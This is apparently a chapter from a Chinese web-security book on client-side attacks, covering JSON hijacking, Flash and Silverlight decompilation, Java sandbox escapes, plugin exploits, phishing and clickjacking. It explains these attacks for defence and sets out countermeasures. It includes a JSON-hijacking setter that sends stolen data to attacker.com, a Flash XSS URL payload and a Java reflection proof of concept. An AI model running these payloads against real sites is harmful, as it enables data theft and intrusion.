Web客户端实施漏洞

Web客户端漏洞（主要）是由无意识的错误比如拙劣的输入处理造成的。在20世纪90年代末和21世纪初，主要的浏览器中常常存在内存崩溃（Memory corruption）错误。现在，占据大部分市场份额的浏览器仍然是Microsoft Internet Explorer。Internet Explorer版本4、5和6导致用户攻击的许多实施缺陷已经为人熟知。2004年，Microsoft决定在新产品中实施安全开发生命周期（Secure Development Lifecycle，SDL）定义安全和隐私需求，解决这一问题。SDL需求禁止使用有导致内存崩溃漏洞危险的C和C++函数。后续发行的Internet Explorer 7和8版本已经在浏览器安全上取得了很大进步，与过去的版本相比严重的安全漏洞也更少。

加强浏览器开发过程的安全以及改进代码质量的努力取得了确实的成功，与此同时，近年来可以发现浏览器安全工作有了一些变化。新的浏览器特性如内建沙箱（Sandbox）和降低工作进程权限似乎成为了预防用户攻击的趋势。现代浏览器现在在一个沙箱中运行操作。沙箱在临时的存储空间中运行不可信的第三方代码，减少了试图修改系统组件的攻击造成的影响。此外，我们看到更多平台专用的攻击缓解技术，如DEP和ASLR。数据执行保护（Data Execution Prevention，DEP）阻止代码从不可执行的内存空间运行。地址空间布局随机化（Address Space Layout Randomization，ASLR）使用更难预测的内存地址，使内存攻击更加困难。另一个改进浏览器安全性的有利因素是补丁的可用性。Windows Update比以前更多地用在修补严重的IE缺陷。Firefox有一个集成的更新机制，在启动浏览器时提示用户安装新的更新。Chrome也有一个自动化更新，未经用户交互就部署不可见的更新。

然而，内存崩溃漏洞始终是个严重的威胁；现在，我们将把目光转向其他正在流行起来的客户端漏洞利用技术。浏览器安全当前状态的更多信息参见“参考与延伸阅读”小节。

Web 2.0漏洞

当前的Web 2.0开发方法致力于在客户端执行操作，减少服务器请求的数量，从而从用户的角度改进性能。但是，当开发人员不能在服务器上实现等价的业务逻辑时，在客户端上进行操作就会带来巨大的风险。例如，如果输入校验在客户端用JavaScript实现，那么在服务器端也必须进行。如果应用允许AJAX请求修改网页内容，开发人员必须实现一个全面的审核，确保敏感操作不会被滥用。在某些操作必须按照特定顺序进行（也称为事务）的场景下，服务器检查应该确保操作的顺序无误。如果没有任何服务器端的检查，攻击者可能使用自己的任意值集强迫重要的请求改变顺序。这个问题可以简单地归纳为一条著名的安全设计准则：“永远不要信任客户输入”。

随着Web上用户生成内容的爆炸式增长，允许用户直接向网站添加HTML的网站无疑会有更大的风险。用户能够在Web应用中创建永久的自定义或者标记，这种应用就更可能发动持续的跨站脚本攻击。结果是，恶意的用户可以操纵一个应用客户端赖以处理数据的用户定义或者系统功能。因为JavaScript是一种解释型语言，它实例化函数的最后版本。如果攻击者通过一个持续的XSS问题在网站上存储恶意的JavaScript，他就可以在缺乏正确的服务器端校验的情况下覆盖应用的功能。

恶意软件能够劫持JavaScript攻击JavaScript对象标记（JavaScript Object Notation，JSON）字符串是特别可怕的情况。JSON劫持是Web 2.0中相对新颖的风险。随着开发人员开始寻求轻量级的数据传输方法，许多人发现SOAP和XML过于冗长，而AJAX+JSON对于简短信息的传输是更好的机制。如果返回JSON数组的JSON服务和响应暴露在GET请求之中，攻击者可以尝试进行劫持。这种攻击与跨站请求伪造（CSRF）相似，但是更可怕，它能用于读取私有数据，而不是仅仅执行一种操作。

这种攻击通常使用<script>标记从服务器上请求一个JSON字符串，然后使用对象设置器重载技术捕捉实例化中的JavaScript对象。JSON是JavaScript标记的有效形式。下面是表示旅游数据的字符串示例：

[
  { name: "Jessica", destination: "New York", date: "Nov 1, 2010" },
  { name: "Chris", destination: "Pittsburgh", date: "June 25 2010" },
  { name: "Oscar", destination: "Puerto Rico", date: "Sept 17, 2010" },
  { name: "Sarah", destination: "New Zealand", date: "June 15, 2010" }
]

攻击者可以在向允许GET请求的JSON服务发出请求之前，定义如下的JavaScript：

Object.prototype.__defineSetter__("name", function(x) {
      var s = "";
      for (f in this) {
            s += f + ": '" + this[f] + "', ";
      }
      s += "name: " + x;
      // send information to the attacker's server
      document.images[0].src="http://attacker.com/?data=" + s;
});

浏览器解释返回的JSON字符串并且将其实例化为JavaScript对象，调用重载的设置器函数读取创建的对象。相似的技术可用于重载默认的数组构造器。在读取机密信息之后，恶意的JavaScript可以将其转发给攻击者的服务器。

JSON劫持对策

预防JSON劫持的最佳方法是使用POST代替GET，以及在所有JSON消息的开始处放置一个JavaScript，使劫持脚本进入无限循环。Google使用while（1）在许多服务上预防JSON劫持。

RIA漏洞

为了给Web带来更加类似于桌面的体验，许多网站实施了基于富互联网应用（RIA）的技术。主要Web开发商使用Adobe的Flash、Flex和AIR主宰这一市场。Microsoft以Silverlight，Google以Google Web Toolkit（GWT）进入RIA的竞争中。所有这些主流的RIA环境都结合了JavaScript交互和浏览器插件。接近98%的个人电脑安装了Adobe Flash Player。这么高的覆盖率使其成为了攻击者的理想目标。例如，在许多Flash广告里已经发现了恶意软件。2007年12月，当受害者访问The Economist、MLB.com、Canada.com、ESPN和Soccernet.com等主流网站时，横幅广告被用来劫持浏览器。

我们已经强调了没有合适的服务器端校验时客户端校验的风险。对于RIA开发人员和用户来说，同样需要了解的最重要的一点是，在他们的浏览器中的Flash或者Silverlight对象仍然在客户端上，也是影响其他客户端组件（如JavaScript）的所有风险的攻击对象。必须要理解，对于恶意用户来说，查看HTML页面源代码、下载引用的SWF文件、反汇编、并且在内容中搜寻敏感信息或者安全漏洞都是很容易的事情。

对Silverlight应用也一样。HTML源代码包含对一个XAP（发音为“zap”）文件的引用，这是一个可以解压的ZIP档案，.NET程序集的源代码可以使用反射查看。RIA应用中敏感信息泄露的盛行是显而易见的。试试Google搜索filetype:swf（inurl:admin OR inurl:login）。我们的搜索得到了大约280000个结果，其中大约有15%包含了明文形式的用户名和密码。对开发人员来说，另一个常见的风险是在RIA组件中放入加密相关的逻辑；风险同样来自客户端存储。下列的函数来自Cartoon Network网站上一个名为Zombie Hooker Nightmare的Flash游戏。过一段时间，网络在电视上播出《Adult Swim》剧集的时段张贴用户的姓名和最高分数。我们来研究提交最高分数的一段代码：

public static function submit(arg0:String, arg1:Number) : String
    {
        strURI = null;
        nGameId = null;
        nScore = NaN;
        nTime = NaN;
        strTime = null;
        strN1 = null;
        strN2 = null;
        n1 = NaN;
        n2 = NaN;
        nAlgo = NaN;
        strToPass = null;
        encrypted_data = null;
        submission_data = null;
        variables = null;
        request = null;
        gameID = arg0;
        score = arg1;
        try {
                strURI = ExternalInterface.call("getLittleServer");
                nGameId = gameID;
                nScore = score;
                nTime = ExternalInterface.call("getSrvrTime");
                strTime = toString();
                strN1 = substr(253, 3);
                strN2 = substr(252, 3);
                n1 = parseInt(strN1);
                n2 = parseInt(strN2);
                nAlgo = n1 * n2 * nScore + nScore;
                strToPass = nGameId + "," + nScore + "," + nTime + "," + nAlgo;
//**********************
//**********************
//**********************
                encrypted_data = MD5.hash(strToPass);
                submission_data = "score=" + nScore + "|gameId=" + nGameId +
"|timestamp=" + nTime + "|key=" + encrypted_data;
//**********************
//**********************
//**********************
                variables = new URLVariables();
            variables.attr1 = submission_data;
                request = new URLRequest(strURI);
            request.data = variables;
            navigateToURL(request, "_self");
            return submission_data;
        } catch (e:Error) {
            var loc1:* = e;
                gameID = null;
        }
        return null;
    }

encrypted_data变量是游戏ID、得分、时间戳和校验位的MD5 hash。接着，我们注意到submission_data的生成方式，所以伪造了一个请求，将我们的姓名和一个确定的高分发到了服务器。尽管这个示例本质上只是为了好玩，所做的只是剥夺了确实花费了很长时间赚到高分的人们短暂的荣耀，但这是攻击者使用应用的客户端RIA组件中找到的敏感信息操纵请求的极佳范例。想象一下，如果这个游戏不是一篇血腥的漫画，而是一个奖金很高的扑克游戏会发生什么情况。现在再想象一下在线扑克游戏在客户端SWF文件中暴露随机洗牌算法的情况。机智的用户能够研究算法的弱点，预测到自己会得到什么牌。再进一步，游戏者可以编写自己的客户端，指定自己得到的牌。有没有在网上玩Texas Hold抏m poker游戏的时候看到有人拿到5张A？现在你知道那个人是怎么做到的了。

可以对Silverlight对象进行相同类型的反汇编。在包含Silverlight对象的网页上，只要查看HTML源代码，并且寻找装入所需XAP文件的对象标记就可以了。XAP是用于基于Silverlight的应用程序包的文件扩展名。复制指向XAP文件的链接，粘贴到地址栏里。下载文件后，使用任何档案解压程序提取文件内容。XAP文件头指出这是一个简单的ZIP文件。XAP文件包含AppManifest.xm1文件，这个文件保存运行应用所必需的部署细节。

除了这个清单外，你还会找到一个或者多个DLL文件形式的.NET程序集。使用Red Gate Reflector工具（以前是Lutz Roeder的Reflector）可以窥探这些文件的内容。使用反射，该工具能够将.NET程序集反汇编为公共中间语言（CIL）——Microsoft.NET版本的ASM。CIL是所有高级语言（如C#或VB.NET）的基础，对于开发人员来说，CIL也能使Reflector显得更友好一些。

Reflector是一个具有丰富特性的工具，包含许多开发人员友好的插件。但是，一些插件可能用于邪恶的目的。Sebastien Lebreton开发的Reflexil插件，允许在CIL级别上快速修改程序集。这类似于旧的汇编破解工具中的情况：可以将如果相等则跳转（JE）改为如果不等则跳转（JNE），从而绕过许可证密钥注册表单。更多关于Reflexil的信息，参见“参考与延伸阅读”小节中引用的程序集操纵教程。

攻击者往往不需要修改程序集来听从他的指令。他很可能找到客户端上的DLL文件中存储的敏感信息，在对服务器的请求中采用这些信息进行权限提升或者绕过访问控制。下面的例子中发生的问题似乎总是重复出现——敏感信息存储在客户端：优惠券代码存储在JavaScript、Flash对象甚至Silverlight对象中。

2007年6月，这个漏洞使一位黑客得到了免费的苹果公司MacWorld会议的门票，这张门票价值1695美元。这些门票还包含了Steve Jobs主题演讲的座位优先权，在这个主题演讲中Jobs宣布了iPhone。本书的作者进行了许多渗透测试，偶然发现许多注册系统都包含了插入礼券代码的机会。这使得我们在脑海中对客户端的这些礼券代码进行了一番检查。我们遇到过这样一个案例，一个Silverlight对象接收信用卡应用的礼券代码。在Reflector中进一步检查时，verifyCode函数发现了一个用于与用户输入比较的SHA1 hash。图9-1演示了verifyCode函数的C#代码。

图9-1　Reflector显示一个礼券代码的SHA1 hash

将这个字节数组转换为SHA1 hash很简单。然后，你要做的就是进入一个hashcrack.com之类的网站查找明文值。在这个例子中，返回值是“freepass”，用户可以将它提交到网站激活折扣代码。

跨域攻击：对于任何新流行的技术，总是在一段时间内采用这些技术的速度超过了开发社区深入理解相关风险的速度。特别是最新版本的Flash和Flex添加了改进的跨域交互支持，易用性的考虑优先于安全性。Flash和Silverlight应该遵守与JavaScript相同的基于同源策略的限制，也就是说各个浏览器插件不应该在没有明确许可的情况下向外部域发送HTTP请求（外部域通常定义为不同的DNS根域名，例如amazon.com和foo.com；对这种边界的攻击有很长的历史，在本书的前一版本中已作了介绍）。Flash和Silverlight在各自的安全策略文件中都指定了跨域许可，这些策略文件是XML文件，指定哪些域可以在没有警告和安全提示的情况访问。但是，这些文件支持通配符，这使得开发人员可以很容易地进行路由，启用全局访问。

攻击这个漏洞的最流行方法之一是跨域访问攻击。Flash仿照JavaScript建立同源策略模型，要求使用crossdomain.xml文件定义Web客户端（例如Flash对象）可以交换信息的网站。Adobe建议用户明确地定义有权限进行跨域通信的网站；但是，许多用户定义“Allow*”，表示来自任何域的访问。2006年，Jeremiah Grossman发现前100大网站中有6%具有未作限制的跨域策略。2008年中期，Jeremiah选择不同的网站，发现有7%的网站未作限制，而11%的策略中有*.domain.com。用关键词inurl:crossdomain.xml进行Google搜索找出许多网站具有未作限制的跨域策略。这种漏洞导致Web蠕虫攻击劫持账户，在允许用户生成内容的页面上放置Flash载荷。LiveJournal就是这种攻击的受害者，用户的博客帖子里放上了恶意的Flash对象，在其他用户查看受感染的帖子时，这个对象复制到其他用户的帖子上。

许多网站由于误用了Flash的getURL 函数而容易遭到XSS攻击。2008年底，超过800万个Flash文件被发现容易遭到这种XSS攻击。攻击者只要使用如下URL访问网站：

http://site/flash.swf?url=javascript:alert('XSS')

Twitter、WSJ、Yahoo！、Microsoft、Apple和PayPal等主流网站都被发现容易遭到通过Flash对象的JavaScript注入攻击。开发人员不应该允许指定全部的任意URL，而应该进行某种形式的校验，确保URL的开始是“http”。

Java漏洞

Sun Microsystem的Java编程模型主要是用来提供可移植的、可远程消费的软件应用。Java applet可以反汇编，客户可以用与Flash和Silverlight文件相似的方法查看它们的源代码和任何敏感的字符串或者逻辑。（Java反汇编的辅助工具参见“参考与延伸阅读”小节）。Java包含一个安全沙箱，阻止编程人员犯下导致安全问题（如缓冲区溢出）的错误。大部分这方面的特性可以阅读Java安全FAQ或者Java规范（参见“参考与延伸阅读”小节）做更详细的研究。理论上，这些机制都很难回避。但是在实践中，Java安全已经多次因为存在已久的实现未能遵循设计的问题而遭到破坏。

2004年11月，安全研究人员Jouko Pynnonen发布了关于允许浏览器运行Java applet的Sun Java插件中存在的一个毁灭性漏洞的通告。这个漏洞实际上允许恶意的网页禁用Java安全限制，逃出Java沙箱，实际上也就完全破坏了平台的安全性。Jouko发现了Java反射API的一个漏洞，这个漏洞允许访问受限的私有类库。下面是他的概念验证JavaScript，访问私有类sun.text.Utility：

[script language=javascript]
var c=document.applets[0].getClass().forName('sun.text.Utility');
alert('got Class object: '+c)
[/script]

这个问题的可怕之处在于私有类（除了Java applet以外）对JavaScript也是可访问的，这就提供了通过Web浏览器轻易地进行跨平台攻击的可能性。sun.text.Utility类本身没有什么价值，但是Jouko在通告中叙述道，攻击者可以实例化其他的私有类来产生真正的破坏——例如，得到对内存或者方法的直接访问，修改Java对象的私有域（这样可以禁用Java安全管理器）。

Jouko在2005年中期再度抓住了Java的漏洞，他报告了Java Web Start（用于简化Java应用客户端安装的一种技术）中的一个严重漏洞。在安装Java运行时引擎（JRE）时，IE之类的浏览器默认配置为自动打开定义Java运行时属性的JWS文件（这些文件扩展名为.jnlp）。只要在.jnlp文件中省略特定参数周围的引号，就能禁用Java沙箱，允许攻击者装入可能危害系统的恶意Java applet。Jouko提出了一个概念验证攻击，包括在一个恶意的Web服务器上部署的一个JNLP文件，这个文件在一个IFRAME中打开，避免了用户交互。然后这个JNLP文件替换攻击者的Web服务器上的任意安全策略文件，代替默认的Java安全沙箱。新的策略授予Java应用全部权限，包括启动独立于操作系统的二进制可执行文件。游戏结束。

可怕的是，这种漏洞利用在任何支持Java Web Start的平台上都有效，包括Windows上的IE或者Linux上的Mozilla Firefox或者Opera。更可怕的是，2010年Tavis Oramandy又发现了另一个Java Web Start远程代码执行漏洞。他发现javaws.exe浏览器插件不校验命令行参数。他还注意到一个未写入文档的隐藏命令行参数-XXaltjvm，这个参数命令Java从预期的路径装入替换的JavaVM（jvm.dll），这样就有可能设置-XXaltjvm=\\IP Address\Evil，导致javaws.exe装入一个邪恶的JVM。

许多严重的Java客户端漏洞围绕不可信数据的反串行化概念。这是一种客户端任意远程代码执行漏洞。串行化指的是打散一个对象，将其输出到文件或者一个套接字的过程。反串行化指的是将这个“打散”的对象组合起来。这在Java中大体是通过readObject()方法完成的。尽管许多远程代码执行漏洞围绕的是内存崩溃的概念，但是这个概念纯粹存在于Java实现中，根据相同的问题得到的漏洞利用程序无法在不同的操作系统上通行。

2008年8月份报告的一个声名狼藉的此类Java漏洞在同年12月份由Sun修复。但是，Mac OS X在2009年6月之前在自己的Java版本中未对这个漏洞进行修补。这种严重漏洞的扩大引起了安全社区的严重关注。该漏洞出现在java.util.Calendar类中。这是一个可串行化的类，在doPrivileged块中必须调用类的readObject()方法，因为sun.util.calendar包中的一个对象ZoneInfo将要进行反串行化。尽管ZoneInfo一般不可用（在一个applet的上下文中，一般不存在任何sun.*包），但是另一个对象可以代替ZoneInfo被读取和反串行化。

一个可能的攻击方向是创建一个ClassLoader子类。readObject()方法将反串行化任何对象，而不管它的设计意图面向的是何种对象。而java.lang.ClassLoader是不可串行化的，它可以扩展为可反串行化的类。这发生在ClassLoader的特权上下文中，因此很重要，实际上允许一个applet实现自己的ClassLoader，从而也就允许装入具有该用户的所有特权的新类。这种漏洞最早在2008年12月由Sami Koivu报告（完整公告的链接参见“参考与延伸阅读”小节）。

在2010年Sami Koivu还报告了相同问题的另一个漏洞；但是，在这种漏洞实例中，javax.management.remote.rmi.RMIConnectionImpl具有前面提到的Calendar类的相同问题。同样，使用错放的doPrivileged块和精巧制作的ClassLoader，就可能进行相同的权限提升。

客户端插件攻击

随着攻击者瞄准更多的插件，他们的关注点转向广泛安装的浏览器插件。符合攻击者要求的目标之一是浏览Web时用于阅读PDF的主应用程序。在Flash之后，Acrobat Reader可能是Adobe制作的最广泛安装的浏览器插件。攻击者创建恶意的PDF文件，然后通过Web散布。当未起疑心的受害者点击这个PDF时，执行JavaScript利用Adobe的JavaScript实现中的漏洞，用内存崩溃攻击注入外壳代码（Shell code）。SANS协会的互联网风暴中心（Internet Storm Center，ISC）在2010年1月报告，恶意PDF在全球范围内劫持PC。来自Symantec和Adobe产品安全事故响应团队（Product Security Incident Response Team，PSIRT）的研究人员发现这些漏洞相当复杂。通过使用一种egg-hunt外壳代码技术，当用户打开恶意的PDF时，攻击者能够可靠地攻击目标，获得对机器的控制。随着浏览器安全性的改进，攻击者将持续地进行逆向工程，研究流行插件的代码。

攻击者还将继续采用复杂的混淆技术阻止防病毒软件的发现。防病毒软件一般根据特征码进行工作。JavaScript恶意软件通常极力减少其足迹，或者包含改变结构的代码，避免被发现。可以预计，对于每个编写好的可用特征码，攻击者都编写了不会被发现的一个变种。这种攻击的成功率非常惊人。每个人都被迫在使用当今Web上最流行的文档格式和暴露在（可能相当严重的）安全风险之下两者之间做出选择。你认为最常见的选择是哪一个？

攻击者瞄准的另一个常见浏览器插件是Apple的QuickTime player。QuickTime很容易遭受多种利用其与服务器交互制作视频和音频流的漏洞攻击。例如，攻击者建立一个假造的播放列表，诱骗未起疑心的用户执行一个有目标的漏洞利用程序。针对QuickTime的这类插件攻击的危险性之一是它们不一定仅限于某个平台。2007年11月，安全研究人员公布了针对Mac和Windows操作系统的QuickTime插件漏洞利用程序的实例。这种针对QuickTime的实时流化协议响应首部的漏洞首先剖析系统内存的内部结构，确定在用的操作系统。然后发动操作系统专用的攻击，获得系统的控制权。即使用户采取所有预防措施锁定他们的浏览器，仍然可能遭到攻击。

滥用ActiveX

ActiveX从20世纪90年代中期出现以来就是安全辩论的中心，当时Fred McLain发布了一个远程关闭用户系统的ActiveX控件。ActiveX很容易用<OBJECT>标记嵌入HTML中，控件可以从远程网站和本地系统装入。这些控件可以以调用者的权限执行任何任务，变得异常强大，也就成为了攻击者的传统目标。Microsoft的Authenticode系统基于“可信”控件的数字签名，是对付恶意控件的主要安全措施。（更多关于ActiveX和Authenticode的信息参见“参考与延伸阅读”小节。）

传统上，攻击者集中关注受害者的Windows系统上预先安装的控件，因为这些控件已经通过验证，不需要向用户提示实例化。1999年中期，Georgi Guninski和Richard M.Smith等人报告，攻击者可能在不调用Authenticode的情况下，实例化标记为“脚本安全”的ActiveX控件。这增加了可用于恶意目的的ActiveX控件的攻击面。从攻击者的角度看，只要找到一个执行某些特权功能（例如读取内存或者写入磁盘文件）的预先安装ActiveX控件，就已经完成了漏洞利用的一半。表9-1列出了近来较为著名的一些遭到滥用的ActiveX控件。

Firefox扩展邪恶的一面

Firefox的扩展在功能上等价于IE的ActiveX控件。如果用户安装了一个恶意扩展，它就能做用户所能做的所有事情。Firefox扩展的安全模型和ActiveX也相当类似：最终用户决定是否安装一个扩展（你认为他们百分之百会选择哪一个？对了，就是：“让我看看这些跳舞的兔子！”）。可能遭到滥用的Firefox扩展的一个具体例子是azurit的FFsniFF，这个简单的Firefox扩展解析HTTP表单提交的非银行密码域，如果找到这种域，就将整个表单发送到攻击者定义的电子邮件地址（“参考与延伸阅读”小节中有一个FFsniFF的链接）。

Firefox扩展与IE扩展之间的主要差别在于，Windows机器上可能遭到攻击的ActiveX控件数量大得多，当然，随着Firefox扩展的流行，这种情况可能会改变。

警告　扩展在Windows和Linux上都是按照用户安装的。为了避免一个用户的扩展被劫持以攻击另一个用户，不要共享账户（例如使用kiosks或者lab computers），不要使用超级用户账户安装扩展。

表9-1　精选的ActiveX安全漏洞

XUL

XML用户界面语言（XUL，发音为“zool”）是一种用户界面标识语言，可以用于操纵Mozilla应用如Firefox和Thunderbird（Mozilla的电子邮件客户端）的各部分用户界面。有些人将XUL的安全后果比作IE中的LMZ，因为它定义了窗口、脚本和数据源等元素，这些元素存在实现漏洞时，可用于违反同源策略。

2006年，“moz_bug_r_a4”报告了XULDocument.persist()函数中的一个输入校验缺陷，这个缺陷允许在localstore.rdf文件中注入任意的XML和JavaScript代码，这些代码将在浏览器启动时以浏览器的权限执行。这个功能与IE LMZ脚本执行漏洞等价（但是Firefox浏览器必须重启）。

XUL还有混淆chrome Web内容的后果。例如，2004年中期，Jeff Smith报告Firefox不会限制网站包含所包含的任意远程XUL，这些XUL可用于劫持大部分用户界面（包括工具栏、SSL证书对话框、地址栏等），从而控制用户看见的几乎所有东西。控制Mozilla用户界面的这么多方面导致了使用欺骗性的窗口、对话框等迷惑用户的可能（参见接下来的9.2节“骗术”）。

客户端存储

客户端是存储数据的安全位置的说法完全是杜撰的。Web应用在客户端存储数据时暴露了许多安全风险。开发人员在敏感数据发送给客户端之后立刻放弃了对这些数据的管理和控制。不管数据是在cookie中传递还是存储在SQLite之类的客户端数据库，在发送到浏览器时都容易遭到操纵或者攻击。

HTTP cookie是客户端存储的原始形式。但是，因为cookie在每个请求和响应时都发送，所以很低效。现在，你已经理解了在cookie中存储敏感信息的风险以及各种可能发生的会话劫持方法。在这个小节里，我们将强调其他客户端存储方式的风险。

新的RIA技术通常自带某种方式的客户端存储。Flash和Silverlight都支持在客户端存储数据。和受限于4KB和关键字/值对形式的cookie不同，现代的客户端存储技术实际上是没有限制的，允许存储XML和复杂的数据类型。Flash使用本地共享对象（Local Shared Objects，LSO，也称Flash Cookie）作为客户端存储。许多浏览器现在实现一种私密浏览模式，避免网站跟踪用户。但是在2010年，许多恶意的网站开始使用LSO绕开这种模式提供的保护。

开发人员应该校验从LSO文件中读取的所有数据。修改客户端存储文件中存储的值是很简单的。Alexis Isaac的开源工具Sol Editor可以用于修改LSO。修改这些值使用户能够做出意料之外的反应，例如，许多网站尤其是成人网站，为可能的成员提供免费试用期。如图9-2所示，LSO可能包含一个日期值，使用Sol Editor可以操纵这个值使试用期变为永久。新的基于客户端技术快速发展，Google已经放弃了2007年5月31日发布的定制开发客户端存储方式。在发布不到3年之后，Google在2010年2月19日公告，将不会再发行任何新功能，而转向HTML 5规范的一部分——Web存储。这种技术又称DOM存储，使用globalStorage和sessionStorage JavaScript对象。globalStorage对象持续存储数据，超出了当前浏览器实例的生命期，而sessionStorage存储浏览器生命期或者选项卡会话期间内的数据。DOM存储的工作方式和在其他JavaScript对象中存储数据类似，你可以在例行操作中将它作为属性值读取。不同之处在于DOM存储使用SQLite为底层存储机制。SQLite是一种轻量级的数据库，可以用结构化查询语言查询，存在于客户端机器上的一个文件中。

Google Chrome浏览器打开新的窗口或者选项卡时会造成一种有趣的边信道信息泄露。Chorme显示最常访问的页面的一个缩略图。每当你输入URL直接访问一个页面，Chrome取得该页面的快照并且存储在客户端SQLite数据库中。遗憾的是，Chrome对SSL保护的页面也这么做——这些页面可能包含敏感信息。包含在线账户密码的用户电子邮件也就可能存储在一台未受保护的机器上的图像中。存储缩略图的SQLite数据库可在C:\Users\Rob\AppData\Local\Google\Chrome\User Data\Default\Thumbnails中找到。图9-3中，你可以看到SQLite Database Browser工具将图像存储为原始数据。

SQLite Database Browser工具让每个人都能研究存储在客户端SQLite数据库文件中的信息。开发人员应该加密或者保护任何敏感信息，或者让用户选择不使用客户端存储。图9-4中，你可以在Chrome中打开新选项卡时，看到来自用户的Gmail收件箱的个人信息和Flickr照片流。

图9-2　攻击者能够很容易地用Sol Editor工具修改LSO中的Trial Membership值

图9-3　数据域包含了在Chrome直接访问的每个页面图像的原始数据

图9-4　Chrome捕获的缩略图示例

9.2　骗术

如果攻击者无法识别可供利用的漏洞，他们可能退而采用骗术。在安全界中社会工程这个术语已经存在了多年，描述的是利用劝诱以及/或欺骗得到数字信息访问权的这种技术。

这种攻击近年来已经得到了技术上的强大推动，出现了新的术语来描述基本的骗术和高级的技术骗局的这种融合。新近最流行的表达是网络仿冒（Phishing），这实际上是使用互联网技术实施的经典社会工程攻击。但是，这种攻击的影响并没有因为使用经典的方式而减少，根据某些估计，每年都给消费者带来超过10亿美元的损失——这个数字还在稳定地增长。

本节研究些经典的攻击和对策，告诉你避开这种陷阱的个性化方法。

网络仿冒

根据来自反网络仿冒工作小组（Anti-Phishing Working Group，APWG）的统计数字和我们自己的直接经验，网络仿冒骗局的常见特点包括：

·针对在线财务网站的用户

·无效或者非法的源地址

·使用熟悉的品牌形象模仿真实网站

·利用催促强迫操作

我们更详细地来研究这些特点。

网络仿冒欺骗一般是针对财务网站的用户，特别是在网上进行许多财务事务或者管理财务账户的用户。俗语有云：“为什么罪犯抢劫银行？因为那里有钱。”APWG的2009年第4季度“网络仿冒活动趋势报告”指出，在报告里扫描的21528736台电脑中，47.87%受到了感染，15.58%带有可能窃取凭据的银行特洛伊木马，8.47%带有可能随时安装其他恶意软件的下载器。最受关注的受害者包括网上银行客户、eBay和PayPal用户、具有网上业务的较大区域性银行以及顾客用信用卡或者PayPal付账的机构。所有这些组织通过网上财务管理/事务服务支持着数百万顾客。你是这些机构的顾客吗？如果是，那么就可能已经或者很快会收到仿冒的电子邮件。

人所共知，网络仿冒能手非常不想被逮住，因此大部分仿冒骗局都以无效或者非法的源地址作为基础。仿冒邮件一般具有假造的“来源”地址解析，指向不存在或者无效的电子邮件账户，而且一般通过受到侵害的计算机上的非法电子邮件引擎发送，从而无法通过标准的邮件首部检查技术跟踪。同样，受害者按照指引输入敏感信息的网站也是在互联网上遭到入侵的系统上的非法临时操作基地。APWG引用统计数字指出，仿冒网站的平均寿命不过几天。如果你以为仿冒很容易通过跟踪攻击者来消灭，就需要再认真地反思一下。

大部分网络仿冒攻击的成功也是基于使用熟悉的品牌形象模仿真实网站。同样，尽管这种攻击似乎是技术驱动的，但是根源则纯粹是人类的骗局。看看图9-5中的欺诈仿冒邮件。横幅和签名行中的图像直接取自paypal.com主页，给这些信息带来了真实的感觉。信息本身只有短短几行文字，没有这些相伴的形象，就可能会被舍弃。整条信息中散布的“商标”符号也利用了这个主题。

图9-5　针对PayPal顾客的仿冒电子邮件

提示　精明的公司可以定期检查Web服务器日志中的HTTP引用条目了解其客户是否遭到仿冒攻击，这些条目指出欺诈网站指向真实网站的图像。尽管复制这些图像很简单，但是许多仿冒网站不去做这些麻烦的事情，从而在它们所仿冒的网站里留下了痕迹。

当然，在这段信息末尾的“更新你的记录……”链接将用户带到与PayPal无关的欺诈网站，这些网站假扮真实网站的类似形象。许多仿冒骗局用文本拼写链接，似乎链接到一个合法的网站，同样是为了假扮真实网站（尽管外观如此，这个邮件中的真实链接不会指向paypal.com！）。更曲折的是，更高级的攻击者使用浏览器漏洞或者抛出一个虚假的跨越地址栏的脚本窗口，假扮真实的位置。例如，“IE improper URL canonicalization（IE错误URL规范化）”漏洞在2004年早期广泛地为仿冒骗局所利用。（参见“参考与延伸阅读”小节）。

最后看看图9-5，我们发现仿冒者利用催促强迫操作的一个例子，仿冒者使用了“……未能更新你的记录将导致账户被挂起。”这样的句子。PayPal用户可能在受到这个警告时未作深思即采取行动。除了提高信息的整体真实性和影响之外，这对欺诈的成功是十分关键的，因为它在最短的时间内驱使最多的用户前往欺诈网站，最大化了收获的用户信息。记住，仿冒网站通常只存在几天。

当然，在欺诈专家获得受害者的敏感信息之后，由此引发的大屠杀所带来的决不只是一种紧迫感。身份盗窃包括了接管账户，以及使用从欺诈之类的仿冒活动收集的信息开立新的账户。即使受害者受到常见的金融业用于消除账户未授权使用的方法的保护，但是他们的信用和个人声誉可能受到不公正的玷污，有些人需要花费数月甚至数年才能恢复财务健康。

点击劫持

基于老的浏览器显示缺陷的一种新威胁可能导致受害者对他们当前在其他选项卡或者窗口登录的网站进行不情愿的操作。这种特殊现象被Jeremiah Grossman和Robert Hanson在2008年命名为点击劫持（clickjacking），利用了不可见的页框覆盖欺骗用户点击网站A，而实际上点击的是网站B中的一个元素。这种操作产生了大量问题。在点击劫持之前，用户在成为仿冒攻击目标时有更明显的征兆。

攻击的信号是冗长可疑的URL、无效的SSL证书或者请求你点击一个链接的用词拙劣的电子邮件。导致用户对其他网站进行操作的最主要的攻击类型之一是跨站请求伪造（CSRF），我们在第4章中对此已经做过介绍。对CSRF攻击的最常见保护性措施是每次装入表单时使用一个唯一的表单随机值。

点击劫持将受害者的鼠标放置在希望受害者点击的区域之上来绕过这种形式的保护。使用CSS和JavaScript隐藏元素，攻击者在受害者希望点击的按钮之上装入另一个页面。因为受害者确实登录到另一个页面，所以没办法跟踪这样的攻击。这种攻击最早是用对Adobe Flash Player中的Adobe全局设置进行的修改来证明的。在这种攻击中，目标可能受到欺骗而点击一个启用Web摄像头和麦克风的按钮，使得攻击者可以从视觉上和音频上监控受害者。更多关于点击劫持的信息参见“参考与延伸阅读”小节。

恶意的IFRAME

恶意的IFRAME标记越来越多地被用来破坏Web客户端保护机制，用新的高级仿冒技术来攻击用户。许多流行网站依靠成为攻击者重要目标的第三方广告提供商，攻击者将恶意的内容注入这些广告之中。2009年，《纽约时报》网站成为恶意IFRAME的受害者，这些IFRAME就是通过他们的第三方广告提供商交付的。这种IFRAME谎称在受害者的电脑上运行某种防病毒软件，当受害者运行该软件时就会被感染，如下所示。

之后，这个“防病毒”程序建议受害者购买这个软件清除这种感染。

